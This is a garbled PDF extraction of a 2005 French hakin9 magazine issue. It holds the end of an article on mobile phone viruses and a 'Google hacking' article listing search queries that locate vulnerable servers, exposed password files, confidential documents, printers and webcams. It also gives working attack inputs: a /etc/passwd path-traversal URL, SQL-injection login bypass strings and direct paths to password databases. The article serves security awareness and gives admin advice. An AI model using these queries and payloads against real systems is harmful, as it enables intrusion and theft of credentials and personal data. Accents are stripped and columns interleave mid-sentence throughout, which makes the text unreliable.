il faut installer ( moins que le sys- tamine uniquement les fichiers qui se tion, quand le programme sera ins-
tme d'exploitation du priphrique trouvent dans le rpertoire principal tall sur la carte mmoire.
ne le permette) un gestionnaire de fi- du priphrique. Le vaccin qui permet d'liminer
chiers et le supprimer manuellement. Le code source du virus (en le virus est disponible l'adresse
Attention : le fichier Caribe.rsc peut assembleur pour le processeur http://mobile.f-secure.com il faut
tre difficile supprimer pendant ARM) est disponible l'adresse s'y connecter l'aide du navigateur
le fonctionnement du programme http://www.informit.com/articles/prin disponible dane le tlphone. Sur la
dans ce cas, il faut supprimer tout terfriendly.asp?p=337071&rl=1. page, il faut choisir le lien Download
ce qu'il est possible, et redmarrer le F-Secure Mobile Anti-Virus, et en-
priphrique (sans certaines don- Lasco suite tlcharger, installer et dmar-
nes, le virus ne sera pas capable Lasco est un virus fonctionnant sur rer l'application.
de fonctionner) et supprimer les les tlphones Nokia. Il agit sur les
autres fichiers. modles de la srie 60. Bluetooth en toute
Une autre faon consiste Le principe de son fonction- conscience
exploiter un programme qui nement est analogue de celui de Le Bluetooth devient de plus en
supprimera le virus automatique- Cabir il se propage travers le plus prsent dans notre vie. Il vaut
ment. Ce programme peut tre Bluetooth, en envoyant le fichiers la peine de savoir quelles me-
tlcharg partir du site http:// velasco.sis tous les priphriques naces peut nous apporter cette
www.f-secure.com/tools/f-cabir.sis. dtects dans le voisinage. Bien technologie et comment elle peut
Comme vous voyez, cette appli- qu'aprs son enregistrement dans tre utilise contre nous. Cette
cation peut tre aussi envoye et le priphrique, le processus d'ins- connaissance nous permettra d'uti-
installe l'aide de Bluetooth. tallation du virus soit lanc automa- liser les priphriques dots du
tiquement, l'installation se droule Bluetooth avec plus de conscience
Dust de faon propre tous les program- et de ne pas croire tout ce que disent
Dust est un virus un peu moins mes tlchargs par le Bluetooth les fabricants ou oprateurs prsen-
connu. Il infecte les priphriques le systme demande la permission tant leurs produits et services. n
tournant sous Windows CE. Ce d'installer une application.

hakin9 N o 4/2005 www.hakin9.org 21


Google dangereux la
recherche des informations
confidentielles
Micha Piotrowski

Des informations qui doivent


tre protges sont trs souvent
disponibles au grand public.
Elles sont mises disposition
inconsciemment suite la
ngligence ou l'ignorance
de simples utilisateurs. Le
rsultat est que ces donnes
confidentielles peuvent se
trouver la porte de mains de
tout le monde sur Internet. Il
suffit pour cela d'utiliser Google.

G
oogle rpond environ 80 pourcent
de toutes les questions poses et par Cet article explique...
consquent, c'est le moteur de recher-
che le plus utilis. Cela est d non seulement comment rechercher des informations confiden-
son mcanisme de gnration de rsultats tielles en utilisant Google,
comment trouver des informations sur des sys-
trs efficace mais aussi de grandes possi-
tmes et des services rseaux vulnrables aux
bilits au niveau des questions poses. Il ne
attaques,
faut pas pourtant oublier qu'Internet est un
comment trouver dans Google des priphri-
mdia trs dynamique et que les rsultats de ques rseaux disponibles au grand public.
recherche prsents par Google ne sont pas
toujours d'actualits. Il arrive que certaines pa-
Ce qu'il faut savoir...
ges trouves soient vieilles et que plusieurs pa-
ges ayant un contenu similaire n'aient pas t savoir utiliser un navigateur Web,
visites par Googlebot (script ayant pour but de avoir un savoir-faire de base sur le protocole
rechercher et d'indexer les ressources Web). HTTP.
Les oprateurs de prcision les plus impor-
tants et les plus utiles, y compris leur descrip-
tion et le rsultat de leur fonctionnement, sont
prsents dans le Tableau 1. Les endroits des propos de l'auteur
Focus

Micha Piotrowski a plusieurs annes d'exprience


documents auxquels ils se rfrent lors de
en tant qu'administrateur des rseaux et des syst-
recherche de ressources rseau (sur l'exem-
mes d'information. Depuis plus de 3 ans, il travaille
ple du site de la revue hakin9) sont visibles en tant qu'inspecteur de scurit. Il est expert en
sur la Figure 1. Ce ne sont que des exemples matire de scurit des rseaux tlinformatiques
une question mieux construite dans Google dans l'un des tablissements financiers en Pologne.
permettra d'obtenir de meilleurs rsultats et en Il passe son temps libre programmer et s'occuper
consquent des informations beaucoup plus de la cryptographie.
intressantes.

22 www.hakin9.org hakin9 N o 4/2005


Google hacking

Tableau 1. Oprateurs de requtes dans Google

Oprateur Description Exemple d'utilisation

site limite les rsultats aux pages se site:google.com fox trouvera toutes les pages conte-
trouvant dans un domaine dfini nant le mot fox dans leur texte et se trouvant dans le
domaine *.google.com

intitle limite les rsultats aux documents intitle:fox fire trouvera les pages contenant le mot
contenant une phrase donne dans fox dans le titre et fire dans le texte
le titre

limite les rsultats aux documents allintitle:fox fire trouvera toutes les pages contenant
allintitle contenant toutes les phrases don- les mots fox et fire dans le titre ; son fonctionnement
nes dans le titre est similaire celui de intitle:fox intitle:fire

inurl limite les rsultats aux pages inurl:fox fire trouvera les pages contenant les mot fire
contenant une phrase donne dans dans le texte et fox dans l'adresse URL
l'adresse URL

allinurl limite les rsultats aux pages con- allinurl:fox fire trouvera les pages contenant les mots
tenant toutes les phrases donnes fox et fire dans l'adresse URL ; son fonctionnement est
dans l'adresse URL similaire celui de inurl:fox inurl:fire
filetype, ext limite les rsultats un type de retournera les documents PDF
filetype:pdf fire
document donne contenant le mot fire et filetype:xls fox retournera les
documents Excel contenant le mot fox

numrange limite les rsultats aux documents numrange:1-100 fireretournera les pages comprises
contenant dans leur texte le nombre entre 1 et 100 contenant le mot fire. Le mme rsultat
d'une page dfinie peut tre obtenu en posant la question : 1..100 fire

link limite les rsultats aux pages link:www.google.fr retournera les documents conte-
contenant des liens vers une page nant au moins un lien vers la page www.google.fr
donne

limite les rsultats aux pages avec inanchor:fire retournera les documents contenant les
inanchor
un lien contenant dans sa descrip- liens possdant le mot fire dans sa description (non
tion une phrase donne dans l'adresse URL vers laquelle ils conduisent mais
dans la partie souligne du texte reprsentant le lien)

allintext
limite les rsultats aux documents allintext:"fire fox" retournerales documents conte-
contenant dans le texte une phrase nant la phrase fire fox seulement dans le texte
donne sans se soucier du titre, des
liens et des adresses URL

impose une prsence frquente de +firemet les rsultats en ordre conformment la


+ la phrase donne dans les rsultats frquence de prsence du mot fire.
impose la non prsence de la -fire retournera les documents ne contenant pas le mot
-
phrase donne dans les rsultats fire.

""
permet de rechercher toutes les "fire fox" retournera les documents contenant la
phrases et pas seulement que les phrase fire fox
mots
. est remplac par un caractre fire.fox retournera les documents contenant les phra-
unique ses fire fox, fireAfox, fire1fox, fire-fox etc.
* est remplac par un mot unique fire * fox retournera les documents contenant les phra-
ses fire the fox, fire in fox, fire or fox etc.
OR logique "fire fox" | firefox retournera les documents contenant
|
la phrase fire fox ou le mot firefox

hakin9 N o 4/2005 www.hakin9.org 23


il tape alors la question suivante :
"Microsoft-IIS/5.0 Server at" in-
title:index.of. En consquence,
il reoit des liens vers des serveurs
recherchs et plus prcisment aux
contenus lists des rpertoires dis-
ponibles sur ces serveurs. Il est ainsi
vu que dans la configuration stan-
dard, les logiciels IIS (et beaucoup
d'autres) ajoutent certaines pages
gnres dynamiquement des ban-
nires publicitaires contenant leur
nom et le numro de la version (voir
la Figure 2).
C'est un exemple d'information
non dangereuse en elle-mme ;
vu qu'elle est trs souvent ignore
et laisse dans la configuration stan-
dard. Malheureusement, c'est aussi
une information qui dans certains
Figure 1. Utilisation d'oprateurs de recherche sur l'exemple du site de cas peut devenir trs importante
hakin9 pour l'agresseur. Pour plus de ques-
tions standard poser dans Google
concernant les autres types de ser-
veurs, reportez-vous au Tableau 2.
Une autre mthode pour trouver
les versions donnes de serveurs
Web consiste rechercher les pages
standard fournies avec les serveurs
et disponibles aprs l'installation.
Cela peut paratre bizarre mais sur le
rseau, il y a plein de serveurs dont
le contenu par dfaut n'a pas t
modifi aprs l'installation. Trs sou-
vent, ce sont des machines oublies
et protges de faon insuffisante
qui s'avre tre une cible facile pour
les intrus. Pour en trouver, il suffit de
poser les questions prsentes dans
le Tableau 3.
Cette mthode est trs simple
et la fois utile. Elle permet d'obtenir
l'accs un grand nombre de diff-
rents services rseaux et systmes
d'exploitation utilisant des applica-
Figure 2. Recherche de serveur IIS 5.0 l'aide de l'oprateur intitle tions o il y a des erreurs qui ont t
dtectes et que les administrateurs
Chercher une victime Imaginez qu'un trou de scurit paresseux ou inconscients n'ont pas
Grce Google, il est possible non est trouv dans un logiciel commu- supprimes. Prenons comme exem-
Focus

seulement de trouver des ressour- nment utilis. Admettons qu'il ple deux logiciels assez populaires :
ces Internet visant plutt le grand concerne le serveur Microsoft IIS WebJeff Filemanager et Advanced
public mais aussi des ressources en version 5.0 et que l'objectif d'un Guestbook.
dites confidentielles et donc prives. agresseur potentiel soit de trouver Le premier d'entre eux est un
Si vous posez une question appro- quelques machines quipes de ce gestionnaire de fichiers Web per-
prie, il se peut que vous receviez de logiciel afin de les attaquer. Bien sr, mettant d'envoyer des fichiers sur
surprenants rsultats. Commenons il pourrait utiliser cette fin un scan- des serveurs. De plus, grce ce
par quelque chose de simple. ner mais il prfre choisir Google logiciel, il est possible de crer,

24 www.hakin9.org hakin9 N o 4/2005


Google hacking

Tableau 2. Google questions concernant les diffrents types de serveurs Web

Question Serveur
"Apache/1.3.28 Server at" intitle:index.of Apache 1.3.28
"Apache/2.0 Server at" intitle:index.of Apache 2.0
"Apache/* Server at" intitle:index.of n'importe quelle version d'Apache
"Microsoft-IIS/4.0 Server at" intitle:index.of Microsoft Internet Information Services 4.0
"Microsoft-IIS/5.0 Server at" intitle:index.of Microsoft Internet Information Services 5.0
"Microsoft-IIS/6.0 Server at" intitle:index.of Microsoft Internet Information Services 6.0
"Microsoft-IIS/* Server at" intitle:index.of n'importe quelle version de Microsoft Internet Informa-
tion Services
"Oracle HTTP Server/* Server at" intitle:index.of n'importe quelle version de serveur Oracle
"IBM _ HTTP _ Server/* * Server at" intitle:index.of n'importe quelle version de serveur IBM
"Netscape/* Server at" intitle:index.of n'importe quelle version de serveur Netscape
"Red Hat Secure/*" intitle:index.of n'importe quelle version de serveur Red Hat Secure
"HP Apache-based Web Server/*" intitle:index.of n'importe quelle version de serveur HP

Tableau 3. Questions sur les pages standard aprs l'installation des serveurs Web

Question Serveur
intitle:"Test Page for Apache Installation" "You are Apache 1.2.6
free"

intitle:"Test Page for Apache Installation" "It wor- Apache 1.3.01.3.9


ked!" "this Web site!"
intitle:"Test Page for Apache Installation" "Seeing Apache 1.3.111.3.33, 2.0
this instead"
intitle:"Test Page for the SSL/TLS-aware Apache Ins- Apache SSL/TLS
tallation" "Hey, it worked!"
intitle:"Test Page for the Apache Web Server on Red Apache d'un systme Red Hat
Hat Linux"
intitle:"Test Page for the Apache Http Server on Fe- Apache d'un systme Fedora
dora Core"
intitle:"Welcome to Your New Home Page!" Debian Apache d'un systme Debian
intitle:"Welcome to IIS 4.0!" IIS 4.0
intitle:"Welcome to Windows 2000 Internet Services" IIS 5.0
intitle:"Welcome to Windows XP Server Internet Servi- IIS 6.0
ces"

de consulter, de supprimer et /etc/passwd (voir la Figure 3). Bien la possibilit d'insrer le code SQL
mme de modifier tous fichiers sr, pour trouver les serveurs vuln- voir l'article Attaques par injection
prsents sur le serveur concern. rables, l'agresseur utilisera Google SQL avec PHP et MySQL dans ha-
Malheureusement, WebJeff Filema- en posant la question : "WebJeff-Fi- kin9 n 3/2005) d'obtenir l'accs au
nager en version 1.6 a une erreur lemanager 1.6" Login. panneau de configuration. Il suffit
permettant de lire le contenu de La deuxime application Ad- de trouver la page d'ouverture de
n'importe quel fichier se trouvant vanced Guestbook est un logiciel session au panneau (voir la Figure 4)
sur le serveur auquel peut accder crit en PHP utilisant la base de et d'ouvrir la session en laissant le
l'utilisateur dmarrant un naviga- donnes SQL permettant d'ajouter champ username vide et de taper
teur Web. Il suffit donc que l'intrus des messages laisss par les visi- dans le champ password ') OR ('a'
tape dans le systme vulnrable teurs au livre d'or du site visit. En = 'a ou l'inverse laisser le champ
l'adresse /index.php3?action=tele- avril 2004, l'information concernant password vide et taper ? or 1=1
charger&fichier=/etc/passwd pour un trou de scurit dans la version dans le champ username. Pour
qu'il obtienne le contenu du fichier 2.2 de ce logiciel permettant (grce trouver sur le rseau les sites vuln-

hakin9 N o 4/2005 www.hakin9.org 25


rables, l'agresseur potentiel peut po-
ser au moteur de recherche Google
l'une des questions suivantes : inti-
tle:Guestbook "Advanced Guestbook
2.2 Powered" ou "Advanced Guestbook
2.2" Username inurl:admin.
Pour prvenir une ventuelle
attaque, l'administrateur doit tre
constamment au courant sur les
ventuelles failles de scurit trou-
ves des logiciels utiliss et appli-
quer le plus rapidement possible les
correctifs de scurit. La seconde
chose qu'il est conseill de faire
est de supprimer les bannires pu-
Figure 3. Version vulnrable du logiciel WebJeff Filemanager blicitaires, les noms et les numros
des versions des logiciels de toutes
les pages ou fichiers sensibles d'en
contenir.

Informations sur
les rseaux et les
systmes
Presque chaque attaque contre un
systme informatique est prcde
de son tude. En rgle gnrale,
cela consiste scanner les ordina-
teurs c'est un essai ayant pour but
de dfinir les services en marche, un
type de systme d'exploitation uti-
lis et la version du logiciel utilitaire.
Figure 4. Advanced Guestbook page d'ouverture de session
Pour cela, on utilise le plus souvent
les scanners de type Nmap ou amap
mais il existe encore une option
choisir. Plusieurs administrateurs
installent des applications Web
gnrant sans arrt les statistiques
de travail du systme, informant sur
l'encombrement des disques durs et
contenant les listes des processus
dmarrs et mme les journaux
systme.
Pour un intrus, ce sont des in-
formations trs prcieuses. Il suffit
qu'il demande Google de trouver
les statistiques du logiciel phpSys-
tem : "Generated by phpSystem"
et il obtiendra des pages similaires
Focus

la page prsente sur la Figure 5.


Il peut galement demander d'af-
ficher les pages gnres par le
script Sysinfo : intitle:"Sysinfo *
" intext:"Generated by Sysinfo *
written by The Gamblers." qui con-
tiennent beaucoup plus d'informa-
Figure 5. Statistiques de phpSystem tions sur le systme (Figure 6).

26 www.hakin9.org hakin9 N o 4/2005


Google hacking

Les possibilits sont ici nombreu- En consquence, l'intrus trouvera


ses (des questions concernant des
la recherche des les messages contenant des infor-
statistiques et des informations gn- erreurs mations sur la configuration de la
res par des logiciels trs populaires Les messages d'erreur HTTP peu- base de donnes, la rpartition des
se trouvent dans le Tableau 4). Le fait vent tre trs prcieux pour l'intrus fichiers dans le systme et parfois
d'obtenir des informations de ce type c'est grce ces informations les mots de passe (voir la Figure 7).
peut encourager l'intrus raliser une que l'on peut obtenir beaucoup de Pour limiter les rsultats seulement
attaque contre un systme trouv prcisions sur le systme, sa con- aux pages contenant les mots de
et peut l'aider choisir les outils ou figuration et la structure de ses ba- passe, il suffit de modifier un peu
les exploits appropris. Donc si vous ses de donnes. titre d'exemple, la question pose : "A syntax er-
utilisez des logiciels permettant de pour trouver des erreurs gnres ror has occurred" filetype:ihtml
surveiller les ressources de votre par la base Informix, il suffit de intext:LOGIN .
ordinateur, veillez ce que l'accs poser au moteur de recherche la Des informations aussi int-
y soit scuris et qu'il exige un mot question suivante : "A syntax er- ressantes peuvent tre obtenues
de passe. ror has occurred" filetype:ihtml. partir des erreurs de la base de

Tableau 4. Logiciels gnrant des statistiques de travail du systme

Question Type d'informations


"Generated by phpSystem" le type et la version du systme d'exploitation, la configuration ma-
trielle, les utilisateurs logus, les connexions ouvertes, l'encombre-
ment de la mmoire et des disques durs, les points de montage
"This summary was generated by wwwstat" les statistiques de travail du serveur Web, la rpartition des
fichiers dans le systme
"These statistics were produced by getstats" les statistiques de travail du serveur Web, la rpartition des
fichiers dans le systme
"This report was generated by WebLog" les statistiques de travail du serveur Web, la rpartition des
fichiers dans le systme
intext:"Tobias Oetiker" "traffic analysis" les statistiques de travail du systme sous forme de diagrammes
MRTG, la configuration du rseau
intitle:"Apache::Status" (inurl:server-sta- la version du serveur, le type du systme d'exploitation, la liste
tus | inurl:status.html | inurl:apache.html) des processus fils et les connexions actuelles
intitle:"ASP Stats Generator *.*" "ASP Stats l'activit du serveur Web, beaucoup d'informations sur les visiteurs
Generator" "2003-2004 weppos"
intitle:"Multimon UPS status page" les statistiques de travail des priphriques UPS
intitle:"statistics of" "advanced web sta- les statistiques de travail du serveur Web, les informations sur les
tistics" visiteurs
intitle:"System Statistics" +"System and les statistiques de travail du systme sous la forme des diagram-
Network Information Center" mes MRTG, la configuration matrielle, les services en marche
intitle:"Usage Statistics for" "Generated by les statistiques de travail du serveur Web, les informations sur les
Webalizer" visiteurs, la rpartition des fichiers dans le systme
intitle:"Web Server Statistics for ****" les statistiques de travail du serveur Web, les informations sur les
visiteurs
inurl:"/axs/ax-admin.pl" -script les statistiques de travail du serveur Web, les informations sur les
visiteurs
inurl:"/cricket/grapher.cgi" les diagrammes MRTG concernant le travail des interfaces rseau
inurl:server-info "Apache Server Informa- la version et la configuration du serveur Web, le type du systme
tion" d'exploitation, la rpartition des fichiers dans le systme
"Output produced by SysWatch *" le type et la version du systme d'exploitation, les utilisateurs
logus, l'encombrement de la mmoire et des disques durs, les
points de montage, les processus dmarrs, les journaux systme

hakin9 N o 4/2005 www.hakin9.org 27


donnes MySQL. Cela se voit sur
l'exemple de la question "Access
denied for user" "Using password"
la Figure 8 reprsente l'une des
pages trouves l'aide de cette
mthode. Pour consulter les autres
exemples de questions utilisant des
erreurs de ce type, reportez-vous
au Tableau 5.
La seule mthode pour protger
vos systmes contre l'information
publique sur les erreurs consiste
avant tout modifier rapidement
les configurations standards et si
cela est possible, configurer les
logiciels de sorte que les messages
d'erreur soient enregistres dans les
fichiers destins cette fin et non
les envoyer vers les pages disponi-
bles aux utilisateurs.
N'oubliez pas que mme si vous
supprimez les erreurs (et que les pa-
Figure 6. Statistiques de Sysinfo ges affiches par Google ne seront
plus d'actualits par la suite), l'intrus
peut voir toujours la copie de la page
stocke par le cache du moteur de
recherche Google. Il suffit qu'il cli-
que sur le lien donn par la liste de
rsultats pour tre conduit vers la
copie du site. Heureusement, pre-
nant en compte une grande quantit
de ressources Web, les copies sont
stockes dans le cache durant un
temps restreint.

Chercher les mots


Figure 7. Utilisation d'erreurs de la base de donnes Informix de passe
Sur le rseau, on peut trouver
une multitude de mots de passe
destine des ressources de tous
types des comptes courrier, des
serveurs FTP ou mme des comp-
tes shell. Cela est d notamment au
manque de savoir-faire des utilisa-
teurs qui mettent inconsciemment
leur mots de passe dans des en-
droits accessibles au grand public
et la ngligence d'diteurs de
logiciels qui, d'une part protgent
Focus

les donnes utilisateur de faon


inapproprie, et, d'autre part, ne les
informent pas sur la ncessit de
modifier la configuration standard
de leurs produits.
Prenons comme exemple
WS_FTP, client FTP connu et utilis
Figure 8. Erreur de la base MySQL frquemment qui tout comme la plu-

28 www.hakin9.org hakin9 N o 4/2005


Google hacking

part des logiciels utilitaires permet


de mmoriser les mots de passe
des comptes. WS_FTP enregistre
sa configuration et les informations
sur les comptes utilisateur dans le
fichier WS_FTP.ini. Malheureuse-
ment, tout le monde ne se rend pas
compte du fait que chaque personne
qui aura l'accs la configuration du
client FTP pourra accder en mme
temps nos ressources. Il est vrai
que les mots de passe stocks dans
le fichier WS_FTP.ini sont crypts
mais malgr tout, cela ne reste pas
suffisant possdant le fichier de
configuration, l'intrus pourra utiliser
les outils permettant de dchiffrer
les mots de passe ou d'installer tout
simplement le logiciel WS_FTP et de
le dmarrer dans votre configuration.
Mais comment peut-il accder aux
milliers de fichiers de configuration
du client WS_FTP ? En utilisant
Google bien videmment. En po-
sant les questions "Index of/" "Pa-
rent Directory" "WS _ FTP.ini" ou
filetype:ini WS _ FTP PWD , il obtiendra Figure 9. Fichier de configuration du logiciel WS_FTP

Tableau 5. Messages d'erreur

Question Rsultat
"A syntax error has occur- les messages d'erreur de la base Informix ils peuvent contenir les noms des
red" filetype:ihtml fonctions ou de fichiers, des informations sur la rpartition des fichiers, des frag-
ments du code SQL et des mots de passe
"Access denied for user" les erreurs d'authentification ils peuvent contenir des noms d'utilisateur, des
"Using password" noms des fonctions, des informations sur la rpartition de fichiers et de fragments
de code SQL
"The script whose uid is " les messages d'erreur PHP lis au contrle d'accs ils peuvent contenir des noms
"is not allowed to access" de fichiers ou de fonctions et des informations sur la rpartition des fichiers
"ORA-00921: unexpected end of les messages d'erreur de la base Oracle ils peuvent contenir des noms de
SQL command" fichiers ou de fonctions et des informations sur la rpartition des fichiers
"error found handling the les messages d'erreur du logiciel Cocoon ils peuvent contenir le numro de la
request" cocoon filetype:xml version Cocoon, des noms de fichiers ou de fonctions et des informations sur la
rpartition des fichiers
"Invision Power Board Data- les messages d'erreur du forum de discussion Invision Power Board ils peuvent
base Error" contenir des noms de fonctions et de fichiers, des informations sur la rpartition
de fichiers dans le systme et des fragments du code SQL
"Warning: mysql _ query()" les messages d'erreur de la base MySQL ils peuvent contenir des noms d'uti-
"invalid query" lisateur, des noms de fonctions des fichiers et des informations sur la rpartition
des fichiers
"Error Message : Error loa- les messages d'erreur des scripts CGI ils peuvent contenir des informations sur le
ding required libraries." type du systme d'exploitation et la version du logiciel, des noms d'utilisateur, des
noms de fichiers et des informations sur la rpartition de fichiers dans le systme
"#mysql dump" filetype:sql les messages d'erreur de la base MySQL ils peuvent contenir des informations
sur la structure et le contenu de la base de donnes

hakin9 N o 4/2005 www.hakin9.org 29


plusieurs liens vers les donnes qui Internet est un autre exemple. Dans situ dans un sous-rpertoire
l'intressent (Figure 9). la configuration standard, les noms _private non scuris contre la
L'application Web nomme DU- d'utilisateur, les mots de passe lecture. Il suffit alors de trouver
classified permettant d'ajouter et de et les autres donnes sont stocks un service utilisant DUclassifield
grer les publicits dans les services dans le fichier duclassified.mdb avec une adresse http://<host>/

Tableau 6. Mots de passe exemples de questions dans Google

Question Rsultat

"http://*:*@www" site les mots de passe pour la page site enregistrs comme
http://username:password@www...
filetype:bak inurl:"htaccess|passwd|shadow| les copies de sauvegarde de fichiers pouvant contenir des informa-
htusers" tions sur des noms d'utilisateurs et des mots de passe
filetype:mdb inurl:"account|users|admin|admi les fichiers de type mdb qui peuvent contenir des informations sur
nistrators|passwd|password" les mots de passe
intitle:"Index of" pwd.db les fichiers pwd.db peuvent contenir des noms d'utilisateurs et des
mots de passe crypts
inurl:admin inurl:backup intitle:index.of les rpertoires nomms admin et backup
"Index of/" "Parent Directory" "WS _ les fichiers de configuration du logiciel WS_FTP pouvant contenir
FTP.ini" filetype:ini WS _ FTP PWD des mots de passe pour des serveurs FTP
ext:pwd inurl:(service|authors|administrato des fichiers contenant des mots de passe du logiciel Microsoft
rs|users) "# -FrontPage-" FrontPage
filetype:sql ("passwd values ****" | "pas- des fichiers contenant des codes SQL et des mots de passe ajou-
sword values ****" | "pass values ****" ) ts la base de donnes
intitle:index.of trillian.ini des fichiers de configuration du logiciel de messagerie instantane
Trillian
eggdrop filetype:user user des fichiers de configuration de lircbot Eggdrop
filetype:conf slapd.conf des fichiers de configuration de l'application OpenLDAP
inurl:"wvdial.conf" intext:"password" des fichiers de configuration du logiciel WV Dial
ext:ini eudora.ini des fichiers de configuration du logiciel de messagerie lectronique
Eudora
filetype:mdb inurl:users.mdb des fichiers Microsoft Access pouvant contenir des informations sur
des comptes
intext:"powered by Web Wiz Journal" des services Web utilisant l'application Web Wiz Journal permettant
dans la configuration standard de tlcharger un fichier contenant
les mots de passe ; au lieu de l'adresse par dfaut http://<host>/
journal/, il faut taper http://<host>/journal/journal.mdb
"Powered by DUclassified" -site:duware.com des services Web utilisant les applications DUclassified, DUcalen-
"Powered by DUcalendar" -site:duware.com dar, DUdirectory, DUclassmate, DUdownload, DUpaypal, DUforum
"Powered by DUdirectory" -site:duware.com ou DUpics qui, dans la configuration standard, permettent de tl-
"Powered by DUclassmate" -site:duware.com charger un fichier contenant les mots de passe ; au lieu de l'adres-
"Powered by DUdownload" -site:duware.com se par dfaut (pour DUclassified) http://<host>/duClassified/, il faut
"Powered by DUpaypal" -site:duware.com taper http://<host>/duClassified/_private/duclassified.mdb
Focus

"Powered by DUforum" -site:duware.com


intitle:dupics inurl:(add.asp | default.asp
| view.asp | voting.asp) -site:duware.com
intext:"BiTBOARD v2.0" "BiTSHiFTERS Bulle- des services Web utilisant l'application Bitboard2 permettant, dans
tin Board" la configuration standard, de tlcharger un fichier contenant les
mots de passe ; au lieu de l'adresse par dfaut http://<host>/forum/
forum.php, il faut taper http://<host>/forum/admin/data_passwd.dat

30 www.hakin9.org hakin9 N o 4/2005


Google hacking

duClassified/ et de la remplacer par


http://<host>/duClassified/_private/
duclassified.mdb pour obtenir un
fichier avec les mots de passe et,
par consquent, un accs illimit
l'application (voir la Figure 10).
Pour trouver les sites utilisant l'ap-
plication dcrite, essayez de taper
la question suivante dans Google :
"Powered by DUclassified" -site:
duware.com (pour viter les rsultats
concernant le site de l'diteur). Ce
qui est intressant c'est que l'diteur
DUclassified la socit DUware
a cr d'autres applications vuln-
rables ce type d'oprations.
En thorie, tout le monde sait
qu'il ne faut pas coller les mots
de passe sur le moniteur ou les
cacher sous le clavier. Cependant,
beaucoup d'utilisateurs enregistrent
leurs mots de passe dans des fi-
chiers l'intrieur de leurs dossiers
personnels tant eux-mmes, con-
trairement aux attentes, disponibles
depuis Internet. En outre, beaucoup
Figure 10. Logiciel DUclassified dans la configuration standard
d'entre sont des administrateurs r-
seaux et c'est pourquoi, ces fichiers
sont d'une importance capitale.
Difficile de trouver une rgle pour
rechercher ce type de donnes
mais les combinaisons de mots
du type : account, users, admin,
administrators, passwd, password
etc. peuvent apporter de bons r-
sultats notamment pour les types
de fichiers suivant :.xls, .txt, .doc,
.mdb et .pdf. Il est galement con-
seill de s'intresser aux rpertoi-
res nomms avec les mots admin,
backup ou d'autres mots similaires :
inurl:admin intitle:index.of. Pour
voir des questions concernant les
mots de passe, reportez-vous au
Tableau 6.
Pour rendre aux intrus l'accs
vos mots de passe plus difficile,
vous devez tout d'abord penser o
Figure 11. Carnet d'adresses lectronique obtenu grce Google et pourquoi vous les tapez, com-
ment ils sont stocks et comment ils
sont utiliss. Si vous surveillez un
Sur Internet service Internet, vous devez analy-
http://johnny.ihackstuff.com larchive d'informations sur Google hacking la plus ser la configuration des applications
importante, utilises, trouver les donnes expo-
http://insecure.org/nmap/ le scanner rseau Nmap, ses au danger ou mal protges
http://thc.org/thc-amap/ le scanner amap. et les scuriser de faon appro-
prie.

hakin9 N o 4/2005 www.hakin9.org 31


Tableau 7. Recherche des donnes personnelles et des documents confidentiels

Question Rsultat
filetype:xls inurl:"email.xls" des fichiers email.xls pouvant contenir des adresses

"phone * * *" "address *" "e-mail" intitle:"cur- des documents CV


riculum vitae"
"not for distribution" confidential des documents avec la clause confidential
buddylist.blt des listes de contacts du logiciel de messagerie instantane
AIM
intitle:index.of mystuff.xml des listes de contacts du logiciel de messagerie instantane
Trillian
filetype:ctt "msn" des listes de contacts MSN
filetype:QDF QDF la base de donnes du logiciel financier Quicken
intitle:index.of finances.xls des fichiers finances.xls pouvant contenir des informations
sur des comptes bancaires, des rapports financiers et des
numros de cartes de crdit
intitle:"Index Of" -inurl:maillog maillog size des fichiers maillog pouvant contenir des messages e-mail
"Network Vulnerability Assessment Report" des rapports sur l'tude de la scurit des rseaux, des tests
"Host Vulnerability Summary Report" de pntration, etc.
filetype:pdf "Assessment Report"
"This file was generated by Nessus"

Tableau 8. Squences caractristiques pour les priphriques rseaux

Question Priphrique
"Copyright (c) Tektronix, Inc." "printer status" les imprimantes PhaserLink
inurl:"printer/main.html" intext:"settings" les imprimantes Brother HL
intitle:"Dell Laser Printer" ews les imprimantes Della bases sur la technologie EWS
intext:centreware inurl:status les imprimantes Xerox Phaser 4500/6250/8200/8400
inurl:hp/device/this.LCDispatcher les imprimantes HP
intitle:liveapplet inurl:LvAppl les camras Canon Webview
intitle:"EvoCam" inurl:"webcam.html" les camras Evocam
inurl:"ViewerFrame?Mode=" les camras Panasonic Network Camera
(intext:"MOBOTIX M1" | intext:"MOBOTIX M10") intext: les camras Mobotix
"Open Menu" Shift-Reload

inurl:indexFrame.shtml Axis les camras Axis


SNC-RZ30 HOME les camras Sony SNC-RZ30
intitle:"my webcamXP server!" inurl:":8080" les camras disponibles via l'application WebcamXP
Server
allintitle:Brains, Corp. camera les camras disponibles via l'application mmEye
intitle:"active webcam page" les camras dotes de l'interface USB

Donnes personnelles des utilisateurs. Malheureusement, votre Curriculum Vitae envoy pour
Focus

et documents il arrive que les diffrents docu- la recherche d'un emploi pour qu'il
ments confidentiels contenant connaisse votre adresse, votre nu-
confidentiels vos donnes soient mis dans des mro de tlphone, votre date de
Aussi bien que dans les pays fai- endroits accessibles au grand pu- naissance, votre niveau d'tude,
sant parti de l'Union Europenne blic ou envoys via le rseau sans vos centres d'intrts et votre exp-
qu'aux tats-Unis, il existe des tre pour autant scuriss. Il suffit rience professionnelle.
rgulations juridiques ayant pour donc que l'intrus obtienne l'accs Sur le rseau, il y a plein de
but de protger la confidentialit au courrier lectronique contenant documents de ce type. Pour les

32 www.hakin9.org hakin9 N o 4/2005


Google hacking

donnes personnelles se trouvent


dans des documents officiels des
rapports de la police, des notes ju-
diciaires ou mme dans des cartes
de maladie.
Sur Internet, il y a galement des
documents privs possdant une
clause de confidentialit. Ce sont
des plans de projets, des documen-
tations techniques, de diffrentes
enqutes, rapports, prsentations
et beaucoup d'autres documents
utilisation interne. Il est facile de
les trouver car ils contiennent sou-
vent le mot confidential, la phrase
Not for distribution, etc. (voir la
Figure 12). Le Tableau 7 comprend
quelques questions concernant ces
Figure 12. Un document confidentiel trouv par le moteur de recherche documents souvent privs ou con-
fidentiels.
Tout comme dans le cas des
mots de passe, pour viter la divulga-
tion au public d'informations prives,
il faut rester prudent et surveiller
les donnes publies. Les socits
et les institutions doivent laborer
et mettre en uvre des rglementa-
tions appropries, des procdures,
des principes de scurit et prparer
son personnel pour faire face ce
problme.

Priphriques rseaux
Plusieurs administrateurs ne pren-
nent pas au srieux la scurit
des priphriques tels que les im-
primantes rseaux ou les camras
Web. Pourtant, une imprimante mal
scurise peut devenir la premire
cible attaquer par l'intrus qu'il
Figure 13. Page de configuration de l'imprimante HP trouve par Google utilisera ensuite pour raliser des
